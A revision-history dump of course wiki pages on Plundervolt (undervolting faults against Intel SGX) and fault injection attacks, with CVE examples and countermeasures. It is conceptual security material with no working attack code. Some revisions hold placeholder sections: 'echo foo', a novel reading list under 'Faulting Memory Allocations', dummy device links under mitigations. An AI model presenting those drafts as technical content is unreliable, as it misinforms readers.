<ref name="PLV2">https://nakedsecurity.sophos.com/2019/12/16/plundervolt-stealing-secrets-by-starving-your-computer-of-voltage/</ref><br />
<br />
</references><br />
<br />
<br />
[[Category:Documentation]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&diff=8998Plundervolt2021-12-21T22:17:51Z<p>SVrdoljak: </p>
<hr />
<div>== Summary == <br />
<br />
Plundervolt is a [[Fault Injection Attack]] which attacks Intel Core x86 processors, by generating faults through voltage glitching (specifically undervolting).<br />
<br />
== Description ==<br />
<br />
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.<ref name="PLV"/><ref name="PLV1"/><br />
<br />
Plundervolt attacks the Intel Software Guard eXtensions (SGX). Intel SGX is a security feature implemented in almost all modern Intel CPUs. The SGX enclaves operate on small sections of the main memory of the CPU. It is usually isolated at a hardware level (separation of SGX memory and CPU memory) and at a software level (encrypted SGX data).<ref name="PLV"/><ref name="PLV1"/><ref name="PLV2"/><br />
<br />
This security feature allows developers to isolate various applications inside of secure "enclaves" from the other apps running on the OS. This way, sensitive information is kept save inside a safe enclave in the CPU.<ref name="PLV"/><ref name="PLV1"/><ref name="PLV2"/><br />
<br />
Plundervolt was first discovered in 2019 by a team of six academics from the following universities: <br />
* University of Birmingham (UK)<br />
* KU Leuven (Belgium)<br />
* the Graz University of Technology (Austria) <br />
<br />
The researchers found out that if previous fault injection attack concepts are combined together a new attack can be found: Plundervolt. The first concept was the Rowhammer attack. This attack shows that that tinkering with a memory cell's electrical charge, can cause it to flip its bit value from 1 to 0, and vice versa.<br />
The second concept was CLKSCREW, which showed the usage of the CPU's energy management system called Dynamic Voltage and Frequency Scaling (DVFS) to take over a system.<ref name="PLV"/><ref name="PLV1"/><ref name="PLV2"/><br />
<br />
Plundervolt combines the principles behind these two attacks. The CPU's energy management interface is used and to alter the electrical voltage and frequency of te SGX memory cells. This causes unwanted alterations to SGX data.<ref name="PLV"/><ref name="PLV1"/><br />
<br />
The researchers tried undervolting various x86 instructions. They observed that multiplications (e.g., imul) and other complex instructions such as the AES New Instructions (AESNI) extensions can be most easily faulted. Plundervolt can practically fault in-enclave computations. The research team showed different attacks against widely used cryptographic algorithms, such as:<ref name="PLV"/><ref name="PLV1"/><br />
<br />
* Factoring RSA Keys With One Fault <br />
* Breaking AES-NI <br />
* SGX-provided crypto functions (MAC used in AES-GCM, ECC signatures and key exchange)<br />
* SGX-provided instructions for key derivation and attestation<br />
<br />
But Plundervolt doesn’t only affect cryptographic code, it also affects standard code:<ref name="PLV"/><ref name="PLV1"/><br />
<br />
* Faulting Pointer Arithmetic<br />
* Faulting Memory Allocations<br />
<br />
== Attack Vectors ==<br />
<br />
=== Breaking AES-NI ===<br />
<br />
Enter these commands in the shell<br />
<br />
plaintext: 5ABB97CCFE5081A4598A90E1CEF1BC39<br />
CT1: DE49E9284A625F72DB87B4A559E814C4 <- faulty<br />
CT2: BDFADCE3333976AD53BB1D718DFC4D5A <- correct<br />
<br />
input to round 10:<br />
1: '''CD58F457 A9F61565 2880132E 14C32401'''<br />
2: '''AEEBC19C D0AD3CBA A0BCBAFA C0D77D9F'''<br />
<br />
input to round 9:<br />
1: 6F6356'''F9''' 26F80'''71'''F 9D'''90'''C6B2 '''E6'''884534<br />
2: 6F6356'''C7''' 26F8D'''01'''F 9D'''F7'''C6B2 '''A4'''884534<br />
<br />
input to round 8:<br />
1C274B5B 2DFD8544 1D8AEAC0 64'''3E'''70A1<br />
1C274B5B 2DFD8544 1D8AEAC0 64'''66'''70A1<br />
<br />
=== Faulting Memory Allocations ===<br />
<br />
Make sure to read<br />
<br />
* War and Peace<br />
* Lord of the Rings<br />
* The Baroque Cycle<br />
<br />
== Mitigation and Countermeasures ==<br />
<br />
[[Device to be used with this documentation]]<br />
[[Maybe another device to be used with this documentation]]<br />
<br />
== Courses ==<br />
<br />
* [[Ausgewählte Kapitel der IT-Security]] (2021)<br />
<br />
== References ==<br />
<references><br />
<ref name="PLV">K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, F. Piessens and D. Gruss, "Plundervolt: How a Little Bit of Undervolting Can Create a Lot of Trouble," in IEEE Security & Privacy, vol. 18, no. 5, pp. 28-37, Sept.-Oct. 2020, doi: 10.1109/MSEC.2020.2990495.</ref><br />
<ref name="PLV1">K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, D. Gruss and F. Piessens, "Plundervolt: Software-based Fault Injection Attacks against Intel SGX," 2020 IEEE Symposium on Security and Privacy (SP), 2020, pp. 1466-1482, doi: 10.1109/SP40000.2020.00057.</ref><br />
<ref name="PLV2">https://nakedsecurity.sophos.com/2019/12/16/plundervolt-stealing-secrets-by-starving-your-computer-of-voltage/</ref><br />
<br />
</references><br />
<br />
<br />
[[Category:Documentation]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&diff=8997Plundervolt2021-12-21T22:16:35Z<p>SVrdoljak: </p>
<hr />
<div>== Summary == <br />
<br />
Plundervolt is a [[Fault Injection Attack]] which attacks Intel Core x86 processors, by generating faults through voltage glitching (specifically undervolting).<br />
<br />
== Description ==<br />
<br />
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.<ref name="PLV"/><ref name="PLV1"/><br />
<br />
Plundervolt attacks the Intel Software Guard eXtensions (SGX). Intel SGX is a security feature implemented in almost all modern Intel CPUs. The SGX enclaves operate on small sections of the main memory of the CPU. It is usually isolated at a hardware level (separation of SGX memory and CPU memory) and at a software level (encrypted SGX data).<ref name="PLV"/><ref name="PLV1"/><ref name="PLV2"/><br />
<br />
This security feature allows developers to isolate various applications inside of secure "enclaves" from the other apps running on the OS. This way, sensitive information is kept save inside a safe enclave in the CPU.<ref name="PLV"/><ref name="PLV1"/><ref name="PLV2"/><br />
<br />
Plundervolt was first discovered in 2019 by a team of six academics from the following universities: <br />
* University of Birmingham (UK)<br />
* KU Leuven (Belgium)<br />
* the Graz University of Technology (Austria) <br />
<br />
The researchers found out that if previous fault injection attack concepts are combined together a new attack can be found: Plundervolt. The first concept was the Rowhammer attack. This attack shows that that tinkering with a memory cell's electrical charge, can cause it to flip its bit value from 1 to 0, and vice versa.<br />
The second concept was CLKSCREW, which showed the usage of the CPU's energy management system called Dynamic Voltage and Frequency Scaling (DVFS) to take over a system.<ref name="PLV"/><ref name="PLV1"/><ref name="PLV2"/><br />
<br />
Plundervolt combines the principles behind these two attacks. The CPU's energy management interface is used and to alter the electrical voltage and frequency of te SGX memory cells. This causes unwanted alterations to SGX data.<ref name="PLV"/><ref name="PLV1"/><br />
<br />
The researchers tried undervolting various x86 instructions. They observed that multiplications (e.g., imul) and other complex instructions such as the AES New Instructions (AESNI) extensions can be most easily faulted. Plundervolt can practically fault in-enclave computations. The research team showed different attacks against widely used cryptographic algorithms, such as:<ref name="PLV"/><ref name="PLV1"/><br />
<br />
* Factoring RSA Keys With One Fault <br />
* Breaking AES-NI <br />
* SGX-provided crypto functions (MAC used in AES-GCM, ECC signatures and key exchange)<br />
* SGX-provided instructions for key derivation and attestation<br />
<br />
But Plundervolt doesn’t only affect cryptographic code, it also affects standard code:<ref name="PLV"/><ref name="PLV1"/><br />
<br />
* Faulting Pointer Arithmetic<br />
* Faulting Memory Allocations<br />
<br />
== Attack Vectors ==<br />
<br />
=== Breaking AES-NI ===<br />
<br />
Enter these commands in the shell<br />
<br />
plaintext: 5ABB97CCFE5081A4598A90E1CEF1BC39<br />
CT1: DE49E9284A625F72DB87B4A559E814C4 <- faulty<br />
CT2: BDFADCE3333976AD53BB1D718DFC4D5A <- correct<br />
<br />
input to round 10:<br />
1: CD58F457 A9F61565 2880132E 14C32401<br />
2: AEEBC19C D0AD3CBA A0BCBAFA C0D77D9F<br />
<br />
input to round 9:<br />
1: 6F6356F9 26F8071F 9D90C6B2 E6884534<br />
2: 6F6356C7 26F8D01F 9DF7C6B2 A4884534<br />
<br />
input to round 8:<br />
1C274B5B 2DFD8544 1D8AEAC0 643E70A1<br />
1C274B5B 2DFD8544 1D8AEAC0 646670A1<br />
<br />
=== Faulting Memory Allocations ===<br />
<br />
Make sure to read<br />
<br />
* War and Peace<br />
* Lord of the Rings<br />
* The Baroque Cycle<br />
<br />
== Mitigation and Countermeasures ==<br />
<br />
[[Device to be used with this documentation]]<br />
[[Maybe another device to be used with this documentation]]<br />
<br />
== Courses ==<br />
<br />
* [[Ausgewählte Kapitel der IT-Security]] (2021)<br />
<br />
== References ==<br />
<references><br />
<ref name="PLV">K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, F. Piessens and D. Gruss, "Plundervolt: How a Little Bit of Undervolting Can Create a Lot of Trouble," in IEEE Security & Privacy, vol. 18, no. 5, pp. 28-37, Sept.-Oct. 2020, doi: 10.1109/MSEC.2020.2990495.</ref><br />
<ref name="PLV1">K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, D. Gruss and F. Piessens, "Plundervolt: Software-based Fault Injection Attacks against Intel SGX," 2020 IEEE Symposium on Security and Privacy (SP), 2020, pp. 1466-1482, doi: 10.1109/SP40000.2020.00057.</ref><br />
<ref name="PLV2">https://nakedsecurity.sophos.com/2019/12/16/plundervolt-stealing-secrets-by-starving-your-computer-of-voltage/</ref><br />
<br />
</references><br />
<br />
<br />
[[Category:Documentation]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&diff=8996Plundervolt2021-12-21T22:16:01Z<p>SVrdoljak: </p>
<hr />
<div>== Summary == <br />
<br />
Plundervolt is a [[Fault Injection Attack]] which attacks Intel Core x86 processors, by generating faults through voltage glitching (specifically undervolting).<br />
<br />
== Description ==<br />
<br />
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.<ref name="PLV"/><ref name="PLV1"/><br />
<br />
Plundervolt attacks the Intel Software Guard eXtensions (SGX). Intel SGX is a security feature implemented in almost all modern Intel CPUs. The SGX enclaves operate on small sections of the main memory of the CPU. It is usually isolated at a hardware level (separation of SGX memory and CPU memory) and at a software level (encrypted SGX data).<ref name="PLV"/><ref name="PLV1"/><ref name="PLV2"/><br />
<br />
This security feature allows developers to isolate various applications inside of secure "enclaves" from the other apps running on the OS. This way, sensitive information is kept save inside a safe enclave in the CPU.<ref name="PLV"/><ref name="PLV1"/><ref name="PLV2"/><br />
<br />
Plundervolt was first discovered in 2019 by a team of six academics from the following universities: <br />
* University of Birmingham (UK)<br />
* KU Leuven (Belgium)<br />
* the Graz University of Technology (Austria) <br />
<br />
The researchers found out that if previous fault injection attack concepts are combined together a new attack can be found: Plundervolt. The first concept was the Rowhammer attack. This attack shows that that tinkering with a memory cell's electrical charge, can cause it to flip its bit value from 1 to 0, and vice versa.<br />
The second concept was CLKSCREW, which showed the usage of the CPU's energy management system called Dynamic Voltage and Frequency Scaling (DVFS) to take over a system.<ref name="PLV"/><ref name="PLV1"/><ref name="PLV2"/><br />
<br />
Plundervolt combines the principles behind these two attacks. The CPU's energy management interface is used and to alter the electrical voltage and frequency of te SGX memory cells. This causes unwanted alterations to SGX data.<ref name="PLV"/><ref name="PLV1"/><br />
<br />
The researchers tried undervolting various x86 instructions. They observed that multiplications (e.g., imul) and other complex instructions such as the AES New Instructions (AESNI) extensions can be most easily faulted. Plundervolt can practically fault in-enclave computations. The research team showed different attacks against widely used cryptographic algorithms, such as:<ref name="PLV"/><ref name="PLV1"/><br />
<br />
* Factoring RSA Keys With One Fault <br />
* Breaking AES-NI <br />
* SGX-provided crypto functions (MAC used in AES-GCM, ECC signatures and key exchange)<br />
* SGX-provided instructions for key derivation and attestation<br />
<br />
But Plundervolt doesn’t only affect cryptographic code, it also affects standard code:<ref name="PLV"/><ref name="PLV1"/><br />
<br />
* Faulting Pointer Arithmetic<br />
* Faulting Memory Allocations<br />
<br />
== Attack Vectors ==<br />
<br />
=== Breaking AES-NI ===<br />
<br />
Enter these commands in the shell<br />
<br />
echo plaintext: 5ABB97CCFE5081A4598A90E1CEF1BC39<br />
echo CT1: DE49E9284A625F72DB87B4A559E814C4 <- faulty<br />
echo CT2: BDFADCE3333976AD53BB1D718DFC4D5A <- correct<br />
echo<br />
echo input to round 10:<br />
echo 1: CD58F457 A9F61565 2880132E 14C32401<br />
echo 2: AEEBC19C D0AD3CBA A0BCBAFA C0D77D9F<br />
echo<br />
echo input to round 9:<br />
echo 1: 6F6356F9 26F8071F 9D90C6B2 E6884534<br />
echo 2: 6F6356C7 26F8D01F 9DF7C6B2 A4884534<br />
echo<br />
echo input to round 8:<br />
echo 1: 1C274B5B 2DFD8544 1D8AEAC0 643E70A1<br />
echo 2: 1C274B5B 2DFD8544 1D8AEAC0 646670A1<br />
<br />
=== Faulting Memory Allocations ===<br />
<br />
Make sure to read<br />
<br />
* War and Peace<br />
* Lord of the Rings<br />
* The Baroque Cycle<br />
<br />
== Mitigation and Countermeasures ==<br />
<br />
[[Device to be used with this documentation]]<br />
[[Maybe another device to be used with this documentation]]<br />
<br />
== Courses ==<br />
<br />
* [[Ausgewählte Kapitel der IT-Security]] (2021)<br />
<br />
== References ==<br />
<references><br />
<ref name="PLV">K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, F. Piessens and D. Gruss, "Plundervolt: How a Little Bit of Undervolting Can Create a Lot of Trouble," in IEEE Security & Privacy, vol. 18, no. 5, pp. 28-37, Sept.-Oct. 2020, doi: 10.1109/MSEC.2020.2990495.</ref><br />
<ref name="PLV1">K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, D. Gruss and F. Piessens, "Plundervolt: Software-based Fault Injection Attacks against Intel SGX," 2020 IEEE Symposium on Security and Privacy (SP), 2020, pp. 1466-1482, doi: 10.1109/SP40000.2020.00057.</ref><br />
<ref name="PLV2">https://nakedsecurity.sophos.com/2019/12/16/plundervolt-stealing-secrets-by-starving-your-computer-of-voltage/</ref><br />
<br />
</references><br />
<br />
<br />
[[Category:Documentation]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&diff=8994Plundervolt2021-12-21T22:14:33Z<p>SVrdoljak: </p>
<hr />
<div>== Summary == <br />
<br />
Plundervolt is a [[Fault Injection Attack]] which attacks Intel Core x86 processors by generating faults through Voltage glitching (specifically undervolting).<br />
<br />
== Description ==<br />
<br />
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.<ref name="PLV"/><ref name="PLV1"/><br />
<br />
Plundervolt attacks the Intel Software Guard eXtensions (SGX). Intel SGX is a security feature implemented in almost all modern Intel CPUs. The SGX enclaves operate on small sections of the main memory of the CPU. It is usually isolated at a hardware level (separation of SGX memory and CPU memory) and at a software level (encrypted SGX data).<ref name="PLV"/><ref name="PLV1"/><ref name="PLV2"/><br />
<br />
This security feature allows developers to isolate various applications inside of secure "enclaves" from the other apps running on the OS. This way, sensitive information is kept save inside a safe enclave in the CPU.<ref name="PLV"/><ref name="PLV1"/><ref name="PLV2"/><br />
<br />
Plundervolt was first discovered in 2019 by a team of six academics from the following universities: <br />
* University of Birmingham (UK)<br />
* KU Leuven (Belgium)<br />
* the Graz University of Technology (Austria) <br />
<br />
The researchers found out that if previous fault injection attack concepts are combined together a new attack can be found: Plundervolt. The first concept was the Rowhammer attack. This attack shows that that tinkering with a memory cell's electrical charge, can cause it to flip its bit value from 1 to 0, and vice versa.<br />
The second concept was CLKSCREW, which showed the usage of the CPU's energy management system called Dynamic Voltage and Frequency Scaling (DVFS) to take over a system.<ref name="PLV"/><ref name="PLV1"/><ref name="PLV2"/><br />
<br />
Plundervolt combines the principles behind these two attacks. The CPU's energy management interface is used and to alter the electrical voltage and frequency of te SGX memory cells. This causes unwanted alterations to SGX data.<ref name="PLV"/><ref name="PLV1"/><br />
<br />
The researchers tried undervolting various x86 instructions. They observed that multiplications (e.g., imul) and other complex instructions such as the AES New Instructions (AESNI) extensions can be most easily faulted. Plundervolt can practically fault in-enclave computations. The research team showed different attacks against widely used cryptographic algorithms, such as:<ref name="PLV"/><ref name="PLV1"/><br />
<br />
* Factoring RSA Keys With One Fault <br />
* Breaking AES-NI <br />
* SGX-provided crypto functions (MAC used in AES-GCM, ECC signatures and key exchange)<br />
* SGX-provided instructions for key derivation and attestation<br />
<br />
But Plundervolt doesn’t only affect cryptographic code, it also affects standard code:<ref name="PLV"/><ref name="PLV1"/><br />
<br />
* Faulting Pointer Arithmetic<br />
* Faulting Memory Allocations<br />
<br />
== Attack Vectors ==<br />
<br />
=== Breaking AES-NI ===<br />
<br />
Enter these commands in the shell<br />
<br />
echo foo<br />
echo bar<br />
<br />
=== Faulting Memory Allocations ===<br />
<br />
Make sure to read<br />
<br />
* War and Peace<br />
* Lord of the Rings<br />
* The Baroque Cycle<br />
<br />
== Mitigation and Countermeasures ==<br />
<br />
[[Device to be used with this documentation]]<br />
[[Maybe another device to be used with this documentation]]<br />
<br />
== Courses ==<br />
<br />
* [[Ausgewählte Kapitel der IT-Security]] (2021)<br />
<br />
== References ==<br />
<references><br />
<ref name="PLV">K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, F. Piessens and D. Gruss, "Plundervolt: How a Little Bit of Undervolting Can Create a Lot of Trouble," in IEEE Security & Privacy, vol. 18, no. 5, pp. 28-37, Sept.-Oct. 2020, doi: 10.1109/MSEC.2020.2990495.</ref><br />
<ref name="PLV1">K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, D. Gruss and F. Piessens, "Plundervolt: Software-based Fault Injection Attacks against Intel SGX," 2020 IEEE Symposium on Security and Privacy (SP), 2020, pp. 1466-1482, doi: 10.1109/SP40000.2020.00057.</ref><br />
<ref name="PLV2">https://nakedsecurity.sophos.com/2019/12/16/plundervolt-stealing-secrets-by-starving-your-computer-of-voltage/</ref><br />
<br />
</references><br />
<br />
<br />
[[Category:Documentation]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&diff=8992Plundervolt2021-12-21T22:13:35Z<p>SVrdoljak: </p>
<hr />
<div>== Summary == <br />
<br />
Plundervolt is a [[Fault Injection Attack]] <br />
<br />
== Description ==<br />
<br />
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.<ref name="PLV"/><ref name="PLV1"/><br />
<br />
Plundervolt attacks the Intel Software Guard eXtensions (SGX). Intel SGX is a security feature implemented in almost all modern Intel CPUs. The SGX enclaves operate on small sections of the main memory of the CPU. It is usually isolated at a hardware level (separation of SGX memory and CPU memory) and at a software level (encrypted SGX data).<ref name="PLV"/><ref name="PLV1"/><ref name="PLV2"/><br />
<br />
This security feature allows developers to isolate various applications inside of secure "enclaves" from the other apps running on the OS. This way, sensitive information is kept save inside a safe enclave in the CPU.<ref name="PLV"/><ref name="PLV1"/><ref name="PLV2"/><br />
<br />
Plundervolt was first discovered in 2019 by a team of six academics from the following universities: <br />
* University of Birmingham (UK)<br />
* KU Leuven (Belgium)<br />
* the Graz University of Technology (Austria) <br />
<br />
The researchers found out that if previous fault injection attack concepts are combined together a new attack can be found: Plundervolt. The first concept was the Rowhammer attack. This attack shows that that tinkering with a memory cell's electrical charge, can cause it to flip its bit value from 1 to 0, and vice versa.<br />
The second concept was CLKSCREW, which showed the usage of the CPU's energy management system called Dynamic Voltage and Frequency Scaling (DVFS) to take over a system.<ref name="PLV"/><ref name="PLV1"/><ref name="PLV2"/><br />
<br />
Plundervolt combines the principles behind these two attacks. The CPU's energy management interface is used and to alter the electrical voltage and frequency of te SGX memory cells. This causes unwanted alterations to SGX data.<ref name="PLV"/><ref name="PLV1"/><br />
<br />
The researchers tried undervolting various x86 instructions. They observed that multiplications (e.g., imul) and other complex instructions such as the AES New Instructions (AESNI) extensions can be most easily faulted. Plundervolt can practically fault in-enclave computations. The research team showed different attacks against widely used cryptographic algorithms, such as:<ref name="PLV"/><ref name="PLV1"/><br />
<br />
* Factoring RSA Keys With One Fault <br />
* Breaking AES-NI <br />
* SGX-provided crypto functions (MAC used in AES-GCM, ECC signatures and key exchange)<br />
* SGX-provided instructions for key derivation and attestation<br />
<br />
But Plundervolt doesn’t only affect cryptographic code, it also affects standard code:<ref name="PLV"/><ref name="PLV1"/><br />
<br />
* Faulting Pointer Arithmetic<br />
* Faulting Memory Allocations<br />
<br />
<br />
== Attack Vectors ==<br />
<br />
=== Breaking AES-NI ===<br />
<br />
Enter these commands in the shell<br />
<br />
echo foo<br />
echo bar<br />
<br />
=== Faulting Memory Allocations ===<br />
<br />
Make sure to read<br />
<br />
* War and Peace<br />
* Lord of the Rings<br />
* The Baroque Cycle<br />
<br />
== Mitigation and Countermeasures ==<br />
<br />
[[Device to be used with this documentation]]<br />
[[Maybe another device to be used with this documentation]]<br />
<br />
== Courses ==<br />
<br />
* [[Ausgewählte Kapitel der IT-Security]] (2021)<br />
<br />
== References ==<br />
<references><br />
<ref name="PLV">K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, F. Piessens and D. Gruss, "Plundervolt: How a Little Bit of Undervolting Can Create a Lot of Trouble," in IEEE Security & Privacy, vol. 18, no. 5, pp. 28-37, Sept.-Oct. 2020, doi: 10.1109/MSEC.2020.2990495.</ref><br />
<ref name="PLV1">K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, D. Gruss and F. Piessens, "Plundervolt: Software-based Fault Injection Attacks against Intel SGX," 2020 IEEE Symposium on Security and Privacy (SP), 2020, pp. 1466-1482, doi: 10.1109/SP40000.2020.00057.</ref><br />
<ref name="PLV2">https://nakedsecurity.sophos.com/2019/12/16/plundervolt-stealing-secrets-by-starving-your-computer-of-voltage/</ref><br />
<br />
</references><br />
<br />
<br />
[[Category:Documentation]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&diff=8990Fault Injection Attack2021-12-21T22:12:15Z<p>SVrdoljak: </p>
<hr />
<div><br />
== Summary==<br />
<br />
Fault Injection Attacks are physical attacks where adversaries try to inject malicious faults into a cryptographic device or system. By injecting faults, the usual behaviour of the cryptographic operations is changed and the erroneous outputs of the faults is analysed to steal secrets/keys or sensible information.<br />
<br />
== Introduction ==<br />
<br />
Fault Injection Attack is a type of a Side-Channel Attack. It is a physical attack issued on a cryptographic device or a system. Adversaries inject faults to change the normal process of a cryptographic operation. By doing this and by analyzing the generated outputs, the system security features can be bypassed or the overall system behaviour can be compromised to get secret information and keys. Usually this type of attack can be done by tempering with the voltage, the clock or the electromagnetic emissions of a system. But also optical laser injection is one technique. When it comes to the actual attack, adversaries can either choose to attack the software or the hardware of a system. The injected faults are short-lived and the are used in a differential analysis for the secrets/key stealing.<ref name="FI"/><ref name="FI2"/><br />
<br />
== Attack Techniques ==<br />
<br />
Fault injection can be done using various techniques the most common ones are the following: <br />
<br />
# Clock Glitch<br />
# Voltage Glitch<br />
# Electromagnetic Glitch <br />
# Optical Injection <br />
<br />
=== Clock Glitch ===<br />
<br />
Glock glitching is a method where the system clock of a cryptographic device or system is being tampered with. Usually systems have their internally system clock. In order for the integrated circuits (ICs) to properly work and for the operations to being successfully executed, the system clock time period needs to be greater that the maximum propagation delay (including offset). Faults injected to the clock results in the attacker bypassing security checks. All it takes it the injection of short pulses in the circuit, at the right time.<ref name="FI2"/><br />
<br />
=== Voltage Glitch ===<br />
<br />
Voltage glitching is a method where faults are created when the systems voltage is being tampered with. The behaviour of operations is manipulated when the voltage is tampered with at specific times. This technique is a low-cost technique, because it doesn't require many additional hardware. However, the generated faults might not always be predictable, therefore attackers cannot tell when an injected fault leads to information leakage. A quite well known Fault Injection Attack called [[Plundervolt]] uses this technique.<ref name="FI2"/> <br />
<br />
=== Electromagnetic Glitch ===<br />
<br />
Electromagnetic glitching is another technique that is commonly used in Fault Injection Attacks. It is also one of the most used methods, because it not invasive. Attackers use EM probes with precisely placed X-Y tables above the EM probe. Researchers have already released information about various flaws in ESP32. <ref name="FI2"/> <br />
<br />
=== Optical Injection ===<br />
<br />
Optical injection uses illumination of transistors to make a conduct in a system and to inject faults. Attackers use a laser or high energy light source such as UV lamps combined with decapsulation of the system chip. This attack results in resets of microcontroller’s internal protection fuses and results in breaking cryptographic implementation to steal secrets. <ref name="FI2"/> <br />
<br />
== Examples ==<br />
<br />
<br />
=== Espressif ESP32: Bypassing Secure Boot <ref name="FI2"/> === <br />
<br />
Also known as CVE-2019-15894, is a Fault Injection Attack which bypasses the Secure Boot verification when starting a ESP32 CPU. When faults are generated. unverified code is being executed from flash. Researchers found out, that the flash encryption mitigates this attack, as unverified code cannot be executed then.<ref name="FI2"/> <br />
<br />
Reference: [https://www.espressif.com/en/news/Espressif_Security_Advisory_Concerning_Fault_Injection_and_Secure_Boot Espressif Advisory], [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15894 CVE Mitre]<br />
<br />
=== Espressif ESP32: Bypassing Flash Encryption <ref name="FI2"/> ===<br />
<br />
Also known as CVE-2020-15048, is a Fault Injection Attack which bypasses the Flash Encryption and the Secure Boot verification. When faults are generated. unverified code is being executed from flash.<ref name="FI2"/> <br />
<br />
Reference: [https://www.espressif.com/sites/default/files/advisory_downloads/Security%20Advisory%20CVE-2020-15048%2C%2013629%20EN%26CN.pdf Espressif Advisory], [https://raelize.com/posts/espressif-systems-esp32-bypassing-flash-encryption/ Raelize]<br />
<br />
=== Gigadevice GD32F130 devices: Debug interface permissions escalation <ref name="FI2"/> ===<br />
<br />
Also known as CVE-2020-13468, is a Fault Injection Attack which exploits the insufficiently physically protected inter-IC bonding wires. When this exploit is exploited, the debug interface permissions of the device escalate. This leads to extraction of firmware even thought there is debugging protection implemented. Attackers can also read the protected flash memory and perform random modifications on the device.<ref name="FI2"/> <br />
<br />
Reference: [https://www.usenix.org/system/files/woot20-paper-obermaier.pdf Research Paper], [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13468 CVE Mitre]<br />
<br />
=== STM32 USB Device Library: Buffer overflow vulnerability exploit <ref name="FI2"/> === <br />
<br />
Also known as CVE-2020-15808, is a Fault Injection Attack which uses the buffer overflow vulnerability in the CDC communicaation interface code. When this exploit is exploited, attackers can access sensitive information, keys, secrets or obtain firmware.<ref name="FI2"/> <br />
<br />
Reference: [https://i.blackhat.com/asia-20/Friday/asia-20-Wypych-Raiden-Glitching-Framework.pdf Black Hat Asia 2020], [https://twitter.com/horac341/status/1311911734572208129 Grzegorz Wypych], [https://github.com/IBM/raiden Raiden]<br />
<br />
== Countermeasures ==<br />
<br />
Currently people are researching for countermeasures against Fault Injection Attacks. Some of the countermeasures that are already used today are listed below:<ref name="FI2"/> <br />
<br />
* Proper shielding<br />
<br />
* Proper physical hardening of systems and devices<br />
<br />
* Fault detection mechanisms<br />
<br />
* Resistance against [[Side Channel Attacks]]<br />
<br />
* Redundancy for critical control signals <br />
<br />
== Courses ==<br />
<br />
* [[Ausgewählte Kapitel der IT-Security]] (2021)<br />
<br />
== References ==<br />
<references><br />
<ref name="FI">Y. Li, M. Chen and J. Wang, "Introduction to side-channel attacks and fault attacks," 2016 Asia-Pacific International Symposium on Electromagnetic Compatibility (APEMC), 2016, pp. 573-575, doi: 10.1109/APEMC.2016.7522801.</ref><br />
<ref name="FI2">https://payatu.com/blog/asmita-jha/fault-injection-basics</ref><br />
<br />
</references><br />
<br />
<br />
[[Category:Basic]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&diff=8989Plundervolt2021-12-21T22:08:08Z<p>SVrdoljak: </p>
<hr />
<div>== Summary == <br />
<br />
Plundervolt is a [[Fault Injection Attack]] <br />
<br />
== Description ==<br />
<br />
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.<ref name="PLV"/><ref name="PLV1"/><br />
<br />
Plundervolt attacks the Intel Software Guard eXtensions (SGX). Intel SGX is a security feature implemented in almost all modern Intel CPUs. The SGX enclaves operate on small sections of the main memory of the CPU. It is usually isolated at a hardware level (separation of SGX memory and CPU memory) and at a software level (encrypted SGX data).<ref name="PLV"/><ref name="PLV1"/><ref name="PLV2"/><br />
<br />
<br />
<br />
Plundervolt combines the principles behind these two attacks. The CPU's energy management interface is used and to alter the electrical voltage and frequency of te SGX memory cells. This causes unwanted alterations to SGX data.<ref name="PLV"/><ref name="PLV1"/><br />
<br />
The researchers tried undervolting various x86 instructions. They observed that multiplications (e.g., imul) and other complex instructions such as the AES New Instructions (AESNI) extensions can be most easily faulted. Plundervolt can practically fault in-enclave computations. The research team showed different attacks against widely used cryptographic algorithms, such as:<ref name="PLV"/><ref name="PLV1"/><br />
<br />
* Factoring RSA Keys With One Fault <br />
* Breaking AES-NI <br />
* SGX-provided crypto functions (MAC used in AES-GCM, ECC signatures and key exchange)<br />
* SGX-provided instructions for key derivation and attestation<br />
<br />
But Plundervolt doesn’t only affect cryptographic code, it also affects standard code:<ref name="PLV"/><ref name="PLV1"/><br />
<br />
